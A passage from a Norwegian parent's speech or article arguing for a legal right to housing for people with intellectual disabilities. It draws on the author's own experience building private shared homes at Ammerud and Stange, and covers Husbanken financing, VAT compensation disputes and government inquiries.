aktiviteter for fellesskapet.\n\nTanken bak Ansvarsreformen er: Alle mennesker skal kunne ta del i de samme velferdsgodene og ha normale levevilk\u00e5r. Det er langt fram, og mangel p\u00e5 bolig er et hovedproblem. Jeg opplever at kvalitet og omfang av omsorgstjenester henger n\u00f8ye sammen med l\u00f8sningen p\u00e5 boligsp\u00f8rsm\u00e5let, at roten til det gode liv starter med bolig.\n\nMange, og alt for mange bor fortsatt hos foreldrene og familie. Hvorfor? Noen svar:\n\n\\-Foreldrene \u00f8nsker dette. De opplever st\u00f8rst trygghet for sitt utviklingshemmede barn ved at de kan fortsette \u00e5 bo hjemme.\n\n\\- Det finnes ikke andre alternativer.\n\n\\- De st\u00e5r p\u00e5 venteliste.\n\n\\- Kommunen er p\u00e5driver for at de ikke skal flytte.\n\n\\- Kommunen har ikke midler.\n\n\\- Familien har ikke midler.\n\n\\- Familien orker ikke \u00e5 ta initiativ til andre l\u00f8sninger.\n\nVi vet n\u00e5 at 10 % av landets 19.079 utviklingshemmede over 16 \u00e5r (01.01.2016) bor i egen bolig. Hovedproblemet er som nevnt: Kommunene har ikke plikt til \u00e5 skaffe bolig. Man skal bare \u00abmedvirke til\u00bb. I Sverige, derimot, som vi kopierte Ansvarsreformen fra, er koplingen komplett: \u00abOm man er vuxen ock har funktionsnedsetting har man ocks\u00e5 rett til anpassat bolig\u00bb.\n\nHva kan vi s\u00e5 gj\u00f8re i Norge for \u00e5 bedre situasjonen? Det er nok av intensjoner, og det er en serie av initiativ og forslag fra NUF, og n\u00e5 senest fra Rettighetsutvalget. Flott\\! Selvsagt b\u00f8r politikerne endre lovhjemmelen. Men det er et langt og krevende l\u00f8p. Underskuddet vokser, og regningen for stat og kommune blir st\u00f8rre og st\u00f8rre. De utviklingshemmede utgj\u00f8r \u00abbare\u00bb 19.000 personer, og er ingen tung pressgruppe, ingen velgermagnet heller. Utredninger, utsettelser og sm\u00e5tillemping ser ut til \u00e5 v\u00e6re trenden. Jeg er veldig takknemlig for at forslaget om RETT til bolig er s\u00e5 klart markert og begrunnet i dagens fremleggelse\\!\n\nMen i dagens situasjon skjer det lite f\u00f8r foreldrene selv tar initiativet. Dette er foreldre som fra f\u00f8r har en stor tilleggsoppgave, og de fleste er utmattet i m\u00f8tet med offentlig forvaltning; det t\u00e6rer p\u00e5 med skuffelser knyttet til avviste omsorgstiltak. Mange opplever; f\u00f8rst f\u00e5r du et utviklingshemmet barn, s\u00e5 begynner kampen. Noen kan lykkes med \u00e5 skaffe sitt barn offentlig bolig, men underskuddet er sv\u00e6rt stort, spesielt i de store byene. Og det vokser. Jeg kommer tilbake med noen tall.\n\nDa er private boliger en god l\u00f8sning. Jeg tenker da ikke p\u00e5 private utbyggere og eiendomsforvaltere, men p\u00e5 private i form av foreldregrupper som samler seg til sitt livs st\u00f8rste dugnad. Vi skal se p\u00e5 regelverket og mulighetene ang\u00e5ende tilgang p\u00e5 boliger. S\u00e5 skal vi se p\u00e5 en modell for etablering av private bofellesskap, og p\u00e5 slik de kan fremst\u00e5 i forhold til en offentlig l\u00f8sning. Vi leser fra Rettighetsutvalget at det boligsosiale m\u00e5l er at ogs\u00e5 personer med utviklingshemming skal eie. At kommunene skal medvirke til at dette m\u00e5l blir n\u00e5dd, og at Husbanken skal v\u00e6re en viktig medspiller b\u00e5de n\u00e5r det gjelder opp\u00e6ring av kommunene og ved fremskaffing av finansiering. Det vil bli avgj\u00f8rende at det ligger et lovvedtak som gir rett til bolig i bunnen\\! Det er en stor avstand mellom gode hensikter, og realitetene\\!\n\nJeg skal pr\u00f8ve \u00e5 ta fram noen tanker og l\u00f8sninger som kan v\u00e6re allmenngyldige. S\u00e5 vil jeg gjerne si; i v\u00e5r verden er det ikke noe annet enn enkeltskjebner og enkell\u00f8sninger. Generalisering byr derfor p\u00e5 problemer.\n\n\u00a0\n**1. Kommunenes situasjon: Personer med utviklingshemming har krav til omsorg og aktivitet, kommunene er ikke forpliktet til \u00e5 skaffe bolig.**\n\nSe lov om kommunale helse- og omsorgstjenester, para 3,7. ledd. Den lyder: \u00abKommunen skal medvirke til \u00e5 skaffe boliger til personer som ikke selv kan ivareta sine interesser p\u00e5 boligmarkedet, herunder boliger med s\u00e6rlig tilpasning og med hjelpe- og vernetiltak for dem som trenger det p\u00e5 grunn av alder, funksjonshemning eller av andre \u00e5rsaker\u00bb.\n\nVi ender opp i en definisjon av hva som ligger i formuleringen \u00abmedvirke til\u00bb, og om det foreligger en plikt. De aller fleste r\u00e5dmenn mener at det ikke foreligger en plikt, og det meddeles kommunens ordf\u00f8rer og politikere. Det vil alts\u00e5 kreve en aktiv stillingstakning fra politikeres side, innenfor et komplisert fagomr\u00e5de, \u00e5 bestride og motsi forvaltningen. Det skjer, jeg kommer tilbake.\n\nEn hyppig anvendt l\u00f8sning er at den utviklingshemmede bor hjemme hos foreldrene. Kommunen har ansvaret for omsorg, og f\u00e5r et tilskudd fra staten pr. \u00e5r p\u00e5 minimum kr. 600.000,- (Rammetilskudd) som ikke \u00f8remerkede midler. Gjennom utarbeidelse av en IP (Individuell plan) skal behov kartlegges og omsorgstiltak besluttes.\n\nDet er kommunenes vurdering og valg (midlene er ikke \u00f8remerket), og det er gitt at konklusjonen knyttet til omfang er s\u00e6rdeles subjektiv, og at det er en betydelig risiko for at tilbudet for en hjemmeboende kan bli begrenset og oppgavene blir overf\u00f8rt p\u00e5 foreldrene. Igjen er en prisgitt kommuners gode vilje. Rett til bolig og rett til omsorg er ikke harmonisert, og det skaper grunnlag for en systemfeil.\n\nJeg kjenner til flere private initiativ i Oslo og B\u00e6rum. I Oslo skyldes dette at Bydel Vestre Aker ikke hadde tilbud til noen av de utviklingshemmede ungdommene. I B\u00e6rum har kommunen aktivt samarbeidet med foreldregruppen.\n\nMange kommuner er sv\u00e6rt reserverte til \u00e5 medvirke til private boligprosjekter. Dette skyldes i stor grad uvitenhet knyttet til fordelene, alts\u00e5 reduserte investeringer for kommunene, knyttet til denne l\u00f8sning. Mange kommuner ser det ogs\u00e5 som en trussel at kostnadene til omsorg kan \u00f8ke, selv om kommunene f\u00e5r tilskudd fra staten (\u00abRammetilskudd\u00bb) til nettopp omsorg. Dette temaet har ogs\u00e5 Rettighetsutvalget behandlet, og en har en beregning om at omsorgsutgiftene kan \u00f8ke med kr. 500 mill. pr. \u00e5r ved at alle bor utenfor hjemmet. Med andre ord, foreldrene gj\u00f8r i dag omsorgsoppgaver for kommunene for minst kr. 500 mill.. Det er nok mye mer\\!\n\n\u00a0\n**2. Nordlandsforskning. Konklusjoner.**\nNordlandsforskning gjorde i 2013 en bredt anlagt studie av omsorgs- og boligl\u00f8sninger for mennesker med utviklingshemming, den het \u00abN\u00e5r livsl\u00f8p veves sammen med administrative tilfeldigheter\u00bb. Oppdragsgiver var Husbanken.\n\nDe skriver: Tilfeldighetene r\u00e5r, bolig- og omsorgsl\u00f8sninger er avhengig av i hvilken kommune en er bosatt.\n\nUnders\u00f8kelsen er gjort i 30 kommuner, og kan derfor sies \u00e5 v\u00e6re \u00abkvalitativ\u00bb. Men dokumentasjonen er sterk og klar:\n\n\\- Det er store individuelle forskjeller mellom kommunene n\u00e5r det gjelder det botilbud som tilveiebringes. Forskjellene er i type bolig, antall boliger, beliggenhet og st\u00f8rrelse. Kommunens st\u00f8rrelse, \u00f8konomiske evne, administrativ kompetanse/villighet og ulikt p\u00e5trykk fra brukerne skaper disse forskjellene.\n\n\\- Den generelle opplevelsen er at boligsituasjonen forverres over tid ved at tilbud p\u00e5 boliger reduseres (i forhold til behovet og at st\u00f8rrelsen p\u00e5 bofellesskapene \u00f8kes.\n\n\\- Det er uklarhet knyttet til kommunenes definisjon av forpliktelsen til \u00e5 skaffe bolig, og dette bidrar til \u00e5 skape forskjellene.\n\n\\- Mange kommuner har ikke utarbeidet boligsosiale handlingsplaner i praksis. Rapporten kan derfor v\u00e6re positivt vektet, siden kun kommuner med en konkret plan er unders\u00f8kt.\n\n\u00a0\nOg de avslutter med: \u00abRetorikken er ikke alltid synonym med hva som foreg\u00e5r\u00bb\u2026\n\n\u00a0\n**3. Utredninger og utvalg.**\n\nJeg sitter p\u00e5 11 ulike offentlige utredninger knyttet til utviklingshemmedes bovilk\u00e5r siden 2011. Den aller siste har vi h\u00f8rt om i dag: Rettighetsutvalgets NOU: \u00abP\u00e5 lik linje\u00bb. Her st\u00e5r noen opp og krever i klartekst RETT til bolig\\! Tusen takk\\! Hva utvalgets anbefalinger vil f\u00f8re til, er mer uklart.\n\nKommentarer:\n\nTil tross for mange velplasserte og velformulerte intensjoner; krav og dokumenterte behov fra utviklingshemmede, velges de bort i statlige og kommunale budsjetter. Vi er for f\u00e5, bare 19.000 pr. \u00a001.01.2016 if\u00f8lge Helsedirektoratet. Jeg er redd for; \u00abingen stemmer, ingen penger\u00bb.\n\nNoen selvopplevde eksempler:\n\n\\- Det ble i 2013 utarbeidet en \u00abBoligbehovsplan 2013 -16\u00bb for Oslo. Det ble da fremlagt at det bor 828 utviklingshemmede i Oslo pr. 31.12.2012. If\u00f8lge Helsedirektoratet fikk Oslo kommune Rammetilskudd for 1.355 personer. Alts\u00e5; n\u00e5r Oslo kommune skulle motta midler til drift av omsorg, var det 1.355 utviklingshemmede i kommunen. Men n\u00e5r det skulle skaffes bolig, var det kun 828 utviklingshemmede i Oslo. S\u00e5, i stedet for \u00e5 benytte seg av faktiske tall, begav kommunen i Boligbehovsplanen seg inn p\u00e5 \u00e5 foreta en opptelling av behovet pr. bydel basert p\u00e5 subjektive vurderinger av behovene. De kom fram til et behov p\u00e5 nye 268 boliger. Ved \u00e5 bruke de virkelige tall fra Helsedirektoratet, ville en ha kommet fram til et behov p\u00e5 opp til 1.000 nye boliger\\! Ved utl\u00f8pet av 2015 var det levert 40 boliger, mange av disse som resultat av private initiativ, der kommunens administrasjon ikke hadde medvirket s\u00e6rlig mye.\n\n\\- Vi har en evig utfordring knyttet til mva og mva-kompensasjon. Egentlig skulle dette v\u00e6re enkelt \u00e5 h\u00e5ndtere. Omsorgsboliger til utviklingshemmede skal behandles avgiftsmessig likt med tilsvarende boliger oppf\u00f8rt av stat eller kommune, alts\u00e5 fritak. Vi har f\u00e5tt til l\u00f8sninger for eksempel p\u00e5 Stange, der kommunen har v\u00e6rt tomtebesitter og st\u00e5tt som byggherre. Men i Oslo er en ikke villige til en slik arbeidsfordeling. S\u00e5 p\u00e5 Ammerud og for andre prosjekter i Oslo f\u00f8rer vi n\u00e5 en kamp i rettssystemet for \u00e5 kunne f\u00e5 mva-kompensasjon. Og Skatt \u00f8st har ingen \u00bbsosiale antenner\u00bb. Det kjempes med nebb og kl\u00f8r mot enhver som s\u00f8ker mva kompensasjon. S\u00e5 dette vil f\u00f8re oss fra Skatt \u00f8st til Skattedirektoratet, til Sivilombudsmannen, til Tingretten, til Lagmannsretten og til H\u00f8yesterett. Slik skal foreldre som tar p\u00e5 seg av en samfunnsoppgave f\u00e5 kjenne p\u00e5 kj\u00f8ttkverna. Byr\u00e5kratiet og skattemyndighetene lever sitt eget liv. De synes sp\u00f8rsm\u00e5lsstillingene er \u00abinteressante\u00bb. For oss og mange andre familier gjelder det liv og d\u00f8d, en tilleggsregning p\u00e5 kr. 600.000,-. Der er uverdig\\!\n\n\u00a0\n**4. Hva skjer med den kommunale \u00f8konomien dersom vi foreldre bygger? Vi kan avhjelpe kommunale investeringer. Alt utover investeringstilskudd fra staten finansierer vi. For 10 boliger vil kommunen spare 14 mill. kroner.**\n\n\u00c5 bygge boliger i privat regi inneb\u00e6rer at kommunen slipper \u00e5 foreta tilsvarende investeringer. Et tenkt kommunalt bofellesskap kan bli finansiert slik:\n\n\\- Totalkostnad for 10 boliger, inklusive fellesarealer og administrative arealer: 32 mill.\n\n\\- Investeringstilskudd: (55%): \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 17, 6 mill.\n\n\\- Egenandel for kommunen, finansiert f. eks. i Kommunalbanken: Kr. 14,4 mill.\n\n\u00a0\n\nDersom bygget derimot reises og finansieres av foreldre (privat initiativ), vil kommune spare disse kr. 14,4 mill. i l\u00e5neopptak.\u00a0 Det m\u00e5 da v\u00e6re interessant for kommunene\\!\n\n\u00c5rsaken er at den utviklingshemmede selv foretar l\u00e5neopptak og mottar investeringstilskudd.\n\nDen utviklingshemmede blir eier, kommunene unng\u00e5r investeringer; en uovervinnelig kombinasjon\\! Jeg har opplevd uvilje fra flere kommuners side mot \u00e5 ta denne mulighet. Det skyldes en blanding av inkompetanse og uvilje. Inkompetanse i kommunene knyttet til finansiering av private initiativ. Uvilje mot \u00e5 p\u00e5ta seg omsorgsoppgaver som kanskje er dyrere enn dersom de utviklingshemmede bor hjemme.\n\n\u00a0\n\n**5. Jeg vil hevde; den gode sirkel starter med egen bolig.**\n\nVi kan pr\u00f8ve \u00e5 gj\u00f8re en enkel samfunns\u00f8konomisk betraktning ved bygging av egen bolig; hva skjer:\n\nPersoner med utviklingshemming f\u00e5r egen bolig, et hjem - Foreldrene (begge) kan komme i arbeid \u2013 Det produseres \u2013 Det betales skatt \u2013 det skapes en samfunns\u00f8konomisk multiplikatoreffekt ved at arbeid og dermed l\u00f8nn skaper st\u00f8rre ettersp\u00f8rsel etter tjenester og dermed flere arbeidsplasser. Vi er i en positiv sirkel.\n\nAlternativet er:\n\nMindre l\u00f8nnsutbetalinger til foreldrene \u2013 mindre skatteinnbetaling \u2013 mer trygd. En negativ sirkel.\n\nBolig for den utviklingshemmede gir:\n\nUtvidet sosialt nettverk, utvidede sosiale egenskaper, personlig utvikling. De utviklingshemmede\u00a0 er blitt tilpasset i et trygt nettverk n\u00e5r foreldrene ikke klarer omsorgsoppgaven eller d\u00f8r. Foreldre og familie har oppn\u00e5dd en \u00f8kt visshet om den utviklingshemmedes trygghet.\n\n\u00a0\n**6. Egne opplevelser.**\n\nTobias/vi foreldre opplevde: Tobias stod p\u00e5 venteliste \u2013 Sp\u00f8rsm\u00e5l fra bydelen: Kan ikke Tobias bo et par \u00e5r til hjemme? Og hva s\u00e5, n\u00e5r de 2 \u00e5rene hadde g\u00e5tt; to \u00e5r til? Bydel Vestre Aker hadde opplagt som strategi \u00e5 f\u00e5 utviklingshemmede til \u00e5 bli lengst mulig (kanskje alltid) hjemme. Det var lange ventelister og ingen bygging. Samtidig var det et d\u00e5rlig tilbud p\u00e5 dagaktiviteter og tungvinte l\u00f8sninger med masse transporttid. I Bydel Vestre Aker ble problemet delvis l\u00f8st gjennom bygging av to private bofellesskap etter initiativ fra foreldrene, det ene Ammerud borettslag, der flere utviklingshemmede opprinnelig hjemmeh\u00f8rende i Vestre Aker flyttet.\n\nAmmerud borettslag: Vi var en gruppe foreldre med barn som hadde g\u00e5tt p\u00e5 Helsepedagogisk Steinerskole. Vi kjente hverandre godt. Vi visste at det var bred kompetanse og at vi kunne utfylle hverandre. Vi s\u00e5 p\u00e5 50 tomter f\u00f8r vi kj\u00f8pte Nordre Ammerud g\u00e5rd. Et betydelig risikoprosjekt. 6 bygninger som stod p\u00e5 Byantikvarens Gule liste. Samtidig 9 m\u00e5l tomt, og en fantastisk tumleplass for beboerne. Vi har skirenn p\u00e5 tomta hver vinter\\! Det har g\u00e5tt veldig bra\\! Bortsett fra problemet med momsen. Der er det ingen hjelp \u00e5 f\u00e5. Men vi kunne regelverket knyttet til finansiering, rammene for l\u00e5n fra Husbanken og rammene for investeringstilskudd ytet gjennom Velferdsetaten i kommunen. Det har v\u00e6rt en s\u00e6rdeles krevende oppgave for alle foreldre og med et flott resultat.\n\nOslo kommune: Vi har v\u00e6rt innom Boligbehovsplanen. Det er dessverre et makkverk av udokumenterte p\u00e5stander og konklusjoner. N\u00e5r konklusjonene er trukket og det skal leveres, er leveransen p\u00e5 15 % av planen fra 2013. Men de velger \u00e5 forlenge planleggingsperioden utover 2016 slik at det skal se ut som om man har en slags m\u00e5loppn\u00e5else. Vi s\u00f8kte \u00e5 f\u00e5 kommunen medvirkning til en gjennomf\u00f8ring av byggeprosjektet som ville gi oss mva-kompensasjon, men her var det gjennomf\u00f8rt uvillighet fra byr\u00e5dets side.\n\nMen bedre er det vel \u00e5 fokusere p\u00e5 hva Oslo kommune og andre kommuner kan gj\u00f8re. Vi kan ikke sitte \u00e5 vente p\u00e5 at \u00abP\u00e5 lik linje\u00bb skal bli vedtatt og gjennomf\u00f8rt.\n\nSlik opplever jeg mulighetene:\n\nByr\u00e5d Geir Lippestad i byr\u00e5dsavdeling for n\u00e6ring og eierskap har tatt opp hansken, det arbeides med \u00e5 lage en \u00abmal\u00bb. Vi f\u00e5r se hva som kommer ut av dette? Det er helt n\u00f8dvendig med en samkj\u00f8ring mellom Oslo kommune og foreldregrupper som hittil er uutviklet i Oslo. For \u00e5 kunne f\u00e5 investeringstilskudd og for \u00e5 kunne f\u00e5 mva-kompensasjon, m\u00e5 kommunen ta aktivt del. Her ligger det en liten administrativ oppgave for kommunen, og jeg vet at de vegrer seg. Akkurat som ikke dette er en selvsagt oppgave for administrasjonen\\! Et lite arbeidsslag fra kommunens side kan alts\u00e5 spare mange med utviklingshemmede barns familier for kr. 600.000,-\\!\n\nVi m\u00e5 f\u00e5 de virkelige tall p\u00e5 bordet. Jeg mistenker at Lippestad og hans r\u00e5dgivere er klar over misforholdet.\n\nDet m\u00e5 samarbeides med utbyggere. OBOS er et godt eksempel. De har flere prosjekter som inkluderer boliger for utviklingshemmede. N\u00e5r kommunen selger eiendommer til utbyggere er det en utmerket anledning til \u00e5 legge inn krav om et antall boliger for utviklingshemmede i anbudsdokumentene. I forslaget til Statsbudsjettet for 2017, er det foresl\u00e5tt at byggeprosjekter basert p\u00e5 privat initiativ skal likestilles med offentlige prosjekter og gis mva-kompensasjon. Dette b\u00f8r lette behandlingen av denne utgiftsposten og gi rettferdighet\\! Flott\\!\n\nRammene for tilskudd og l\u00e5n i Husbanken b\u00f8r \u00f8kes. Disse rammene har en tendens til \u00e5 bli slepende etter i st\u00f8rrelse. Bel\u00f8pene gj\u00f8r det alltid vanskelig \u00e5 skaffe totalfinansiering, og familier med utviklingshemmede barn har ikke alltid egenkapital \u00e5 dytte inn. Poenget er at disse samme familien gj\u00f8r en stor samfunnsinnsats. De p\u00e5tar seg et samfunnsansvar og p\u00e5tar seg en offentlig oppgave, de planlegger, finansierer og driver byggeledelse. Politikerne burde se helheten i denne innsatsen og gi et s\u00e5kalt incentiv som sikrer gjennomf\u00f8ring, ikke rygge inn i framtiden\\!\n\nRettighetsutvalget foresl\u00e5r at Husbanken skal ta oppgaven med \u00e5 oppgradere kompetansen i kommunene. Det er vel og bra. Dette er for at kommunens st\u00f8tteapparat skal kunne redegj\u00f8re for alternativet med \u00e5 bygge selv. Det trengs en sammensatt r\u00e5dgivning; Husbanken, kommunen, Velferdsetaten, gjerne vi som har gjort det f\u00f8r. Foreldrene m\u00e5 kunne gis en trygghet knyttet til gjennomf\u00f8ringen. Vi kan sammen spare samfunnet for store bel\u00f8p og frita foreldregrupper for store bekymringer. Hvert enkelt prosjekt er n\u00e5 tiln\u00e6rmet nybrottsarbeid. Trenger ikke \u00e5 v\u00e6re slik. Det finnes en omfangsrik \u00abVeileder\u00bb for familier som vil bygge. Men arbeidet m\u00e5 settes i bedre system i forhold til praktisk gjennomf\u00f8ring. Kompetansen finnes, personene finnes.\n\n\u00a0\n**7. Prosessen knyttet til private initiativ.**\n\nJeg var innom kravene til deltakelse fra foreldregruppens side for Ammerud-prosjektet. Det er helt avgj\u00f8rende at medlemmene av foreldregruppen er motiverte og fulle av energi. Det er mange oppgaver, det tar mange \u00e5r, og det er alltid uventede tilleggsoppgaver.\n\nNoen stikkord:- Bred kompetanse; i planlegging, finansiering og byggeledelse.\n\n\\- Politisk/taktisk innsikt slik at kommunene gj\u00f8res til aktive samarbeidspartnere.\n\n\\- Noen lederstjerner\n\n\\- Fordele oppgavene\n\n\\- Forst\u00e5 omfang og ansvar\n\nAlle m\u00e5 involveresJeg har et eksempel fra Stange, s\u00f8r for Hamar. Jeg var prosjektleder i en periode p\u00e5 2 \u00e5r. Her fikk vi til et fantastisk samarbeid med politikerne med ordf\u00f8rer Nils A. R\u00f8hne i spissen, og med administrasjonen i kommunen. Tomta ble ervervet av kommunen og kommunen stod som byggherre. Ved ferdigstillelse ble boenhetene s\u00e5 solgt til beboerne. Dette er en modell som er utviklet av KS og Skatt \u00f8st i fellesskap. Felles Framtid i Ottestad (i Stange kommune) ble \u00e5pnet i juni 2016.\n\nJeg nevnte Nordlandsforsknings studie tidligere. P\u00e5 et vis kan det sies at Oslo og Stange er eksempler p\u00e5 hvor stort spriket kan v\u00e6re.\n\nGodt er det da i Oslo \u00e5 oppleve at Grorud bydel har levert i forhold til ansvaret for omsorg, og at bydelen helt fra planlegging har v\u00e6rt innforst\u00e5tt med sitt ansvar for omsorg for bydelens 10 nye beboere.\n\n\u00a0\n**8. Husbankens rolle.**\n\nHusbanken er min store helt midt oppe i dette\\! Vi ser ogs\u00e5 at Rettighetsutvalget vil utvide Husbankens virkefelt. De \u00f8nsker at Husbanken skal ha en oppgave knyttet til oppl\u00e6ring av kommunenes veiledere. Godt tenkt\\!\n\nHusbanken er, slik vi opplevde det: En r\u00e5dgiver og veileder b\u00e5de n\u00e5r det gjelder planlegging og gjennomf\u00f8ring n\u00e5r det gjelder:\n\n\\- Prosjektering, dimensjonering, kostnadsomfang, st\u00f8rrelse, samarbeidspartnere, alt\\!\n\n\\- Bevilgning av prosjekteringstilskudd. Dette gjelder planleggingsutgifter i vurderingsfasen. Betyr at foreldregrupper kan g\u00e5 sammen og gj\u00f8re et forprosjekt uten at familiene skal m\u00e5tte lide \u00f8konomisk.\n\n\\- L\u00e5n, omfang av l\u00e5n: Standardisert med grunnlag i trygden som den utviklingshemmede mottar.\n\n\\-\u00a0 Investeringstilskudd, klare rammer slik bel\u00f8psgrensene n\u00e5 er utformet: 45 % av anleggskostnaden (kr. 1.620.000 i pressomr\u00e5der, kr. 1.415.000 i landet for \u00f8vrig i tilskudd).\n\n\\- Rammer i forhold til antall boliger og utforming.\n\n\\- Krav til servicearealer for ansatte.\n\n\\- Krav til fellesarealer for beboerne.\n\nHusbanken, vet jeg, er ogs\u00e5 en aktiv p\u00e5driver for at kommunene og private eierskap skal kunne nyttiggj\u00f8re seg de muligheter som ligger i dagens bevilgninger og lovverk, slik som maksimal tilgang p\u00e5 investeringstilskudd og mulighet for mva-kompensasjon.\n\n\u00a0\n\n**9. \u00d8konomien for den utviklingshemmede ved privat eie.**\n\nTobias har som nevnt en husleie p\u00e5 kr. 9.000 pr. m\u00e5ned. Det dekker renter, avdrag, fellesutgifter og vedlikehold. De fleste av beboerne f\u00e5r bost\u00f8tte p\u00e5 ca. kr. 2.000 pr. m\u00e5ned. Han mottar uf\u00f8retrygd. Etter skatt har han ca. kr. 7.000 til dekning av matutgifter, kl\u00e6r, reiser og annet forbruk. Det er ingen stor luksus, men det g\u00e5r greit rundt for Tobias og familien v\u00e5r.\n\n\u00d8konomien ville vel ha v\u00e6rt omtrent tilsvarende dersom han hadde v\u00e6rt leietaker. Men over tid vil da eiermodellen vinne. B\u00e5de grunnet lavere husleie og gjennom tryggheten ved eierskapet til boligen.\n\n\u00a0\n**10. Antall boliger i et bofellesskap?**\n\nHusbanken uttrykker at antall boenheter b\u00f8r v\u00e6re maksimum 8.\n\nVi sett bofellesskap i 2014 finansiert med Husbankens medvirkning der 9 enheter har hatt mellom 9 og 14 beboere, og der en boenhet har hatt mellom 15 og 19 beboere.\n\nJeg opplever at Husbanken ikke \u00f8nsker \u00e5 ha et helt kategorisk forhold til tallet 8. At antallet kan v\u00e6re avhengig av arkitektonisk utforming, alts\u00e5 gjennom oppdeling av mindre enheter som har sitt eget bomilj\u00f8, at de hensyn tar beliggenhet i naturen, og at de tar hensyn til lokale l\u00f8sninger for eksempel i forhold til kollektive transportl\u00f8sninger.\n\nHos oss p\u00e5 Ammerud og p\u00e5 Stange er antallet 10. P\u00e5 Ammerud kan vi like gjerne si at det er 5 pluss 5. Etasjene lever i lange perioder sine egne liv, med menn i 1. etasje og kvinner i 2. etasje. Treffpunktene er felles middag og andre arrangementer der ogs\u00e5 foreldrene gjerne er med. Mestringsniv\u00e5ene er ganske ulike, og det danner seg gjerne mindre grupper ogs\u00e5 i etasjene.\n\nDet er vanskelig \u00e5 gi et fasitsvar. Vi opplever at st\u00f8rrelsen p\u00e5 10 er en god kombinasjon av alle hensyn. Sikrer at det er et stort nok antall beboere at alle f\u00e5r mulighet til \u00e5 utvikle vennskap, samtidig unng\u00e5 institusjonspreg. Grensen g\u00e5r kanskje rundt 10, tenker jeg?\n\n\u00a0\n**11. N\u00e5r v\u00e5rt barn har f\u00e5tt egen bolig, slik vi som foreldre opplever det:**\n\nDet gir en stor trygghet. Barnet er sikret bolig og sikret omsorg for alltid. Foreldrenes opplever at vi kan prioritere omsorg, aktivitet, utvikling, hverdagen blir vesentlig mindre problemorientert\\! .\n\nDet er selvsagt utfordringer i fellesskapet:\n\n\\- Det er et omfattende omsorgsapparat som skal passe for alle.\n\n\\- Vi skal bli enige om praktiske og arkitektoniske l\u00f8sninger av for eksempel fellesrom.\n\nFor Ammerud: Betydelig dugnadsarbeid; holdninger knyttet til dugnad, ikke tvang, ikke registrering\\! Tiln\u00e6rmet en livsform.\n\nSosiale treffpunkter: Vi arrangerer turer i Lillomarka, skidag, baking, malerkurs, adventsfeiring, osv.\\! Ulike mestringsniv\u00e5er, alle inkluderes.\n\nTilleggsverdier: Foreldrene er sammensveiset; vi har jobbet frem dette sammen\\!. Avgj\u00f8rende at vi har forst\u00e5else for hverandres utfordringer.\n\nVi deler p\u00e5 ansvar/arbeidsoppgaver ved administrasjon, vedlikehold, fornyelse, arrangementer, drift av g\u00e5rden. Legge vekt p\u00e5 ulike kunnskaper og bidrag hos og fra foreldrene.\n\n\u00a0\n**12. Framtidig l\u00f8sning?**\n\n\u00abDet er en avstand mellom m\u00e5l og dagens situasjon\u00bb, uttrykker Rettighetsutvalget p\u00e5 s. 148. Det er nok dagens \u00abunderstatement\u00bb\\! Avstanden er enorm\\! Jeg frykter sterkt fortsatt overflatebehandling i form av utredninger, partiprogram og den slags.\n\nDet er ogs\u00e5 grunn til \u00e5 frykte \u00f8kende offentlig fattigdom fremover. Store budsjettposter trykker p\u00e5 og tilgjengelige midler vil komme under press.\n\nJeg frykter ogs\u00e5 mangel p\u00e5 samkj\u00f8ring av boligtilbud og omsorgstilbud. Oslo kommune gav allerede opp dette i 2013 i forbindelse med fremleggelse av Boligbehovsplanen 2013-16. Resultatet er et mangelfullt omsorgs- og aktivitetstilbud, store tidskostnader og store transportkostnader.\n\nKan vi b\u00f8te p\u00e5 boligmangelen til utviklingshemmede gjennom bruk av profesjonelle utbyggere/tilbydere? Godt mulig. Men dette er en kortsiktig l\u00f8sning for mange r\u00e5dmenn, neste r\u00e5dmann f\u00e5r regningen. Den er h\u00f8y, og med lang binding\\!.\n\nJeg nevnte v\u00e5r opplevelse: \u00abKan Tobias flytte hjem et par \u00e5r\u00bb?? N\u00f8dl\u00f8sninger som blir evigvarende\\! En farlig karusell \u00e5 begi seg inn p\u00e5\\!\n\nMitt svar: Look to Sweden\\!\n\nKan Rettighetsutvalgets NOU: \u00abP\u00e5 lik linje\u00bb f\u00f8re til resultater? Vi har en avgj\u00f8rende sp\u00f8rsm\u00e5lsstilling; skal vi h\u00f8re p\u00e5 Nordlandsforskning, eller skal vi tro p\u00e5 Rettighetsutvalgets forslag? Det siste ble lagt fram for Barne- og likestillingsdepartementet 3. oktober i fjor.\n\nJeg sitter som nevnt p\u00e5 11 ulike utredninger siden 2011, Stortingsproposisjoner, NOU'er, ulike utvalg. Det avgj\u00f8rende gjennombrudd ang\u00e5ende boligsp\u00f8rsm\u00e5let st\u00e5r ul\u00f8st. NOU'en er n\u00e5 p\u00e5 h\u00f8ring, med frist 2. mars i \u00e5r. Barne- og likestillingsdepartementet vil s\u00e5 samle h\u00f8ringene og s\u00e5 m\u00e5 Regjerningen beslutte. Vi vet at regjeringsperioden g\u00e5r mot slutten, og det blir vanskelig eller umulig \u00e5 gjennomf\u00f8re vedtak f\u00f8r valget. S\u00e5 kan det komme en ny regjeringen, s\u00e5 m\u00e5 vi vente\u2026.\n\nBarne- og likestillingsdepartementet sier: send innspill og forslag i h\u00f8ringsperioden\\!\n\nJeg sp\u00f8r, hvordan er det med Regjeringens gjennomf\u00f8ringsvilje, slik tidslinjen fremst\u00e5r? Regjeringen setter ned et utvalg 3. oktober 2014, utvalget leverer sin NOU 3. oktober 2016. H\u00f8ringsrunden avsluttes 2. mars 2017. Deretter skal h\u00f8ringsuttalelsene samles og departementet skal utarbeide en innstilling overfor Regjeringen. Men da begynner beslutningsmuligheten til Regjeringen \u00e5 n\u00e6rme seg slutten. Vi st\u00e5r foran en sommer og vi st\u00e5r foran et valg. Og de 19.000 utviklingshemmedes interesser st\u00e5r nok ikke fremst i k\u00f8en. S\u00e5 har vi valg til h\u00f8sten; kanskje en ny Regjering, kanskje en ny partikonstellasjon, kanskje utskiftning av statsr\u00e5der. Hvilken plass i k\u00f8en og i prioritering har NOU :2016, \u00abP\u00e5 rett vei\u00bb?? Risikoen er stor for at denne NOU'en havner i samme haug som de andre. Det er noe jeg ikke helt forst\u00e5r. Hvorfor ikke begynne med \u00e5 si; hvis dette arbeidet skal kunne gi resultater i gjeldende stortingsperiode, da m\u00e5 Statsr\u00e5d Horne ha verkt\u00f8yet i h\u00e5nda innen en gitt dato. Da har hun mulighet til \u00e5 f\u00e5 bragt saken fram for Regjeringen og fram til beslutning\\! Hvis ikke, er risikoen stor for at alt dette arbeidet og de gode og riktige 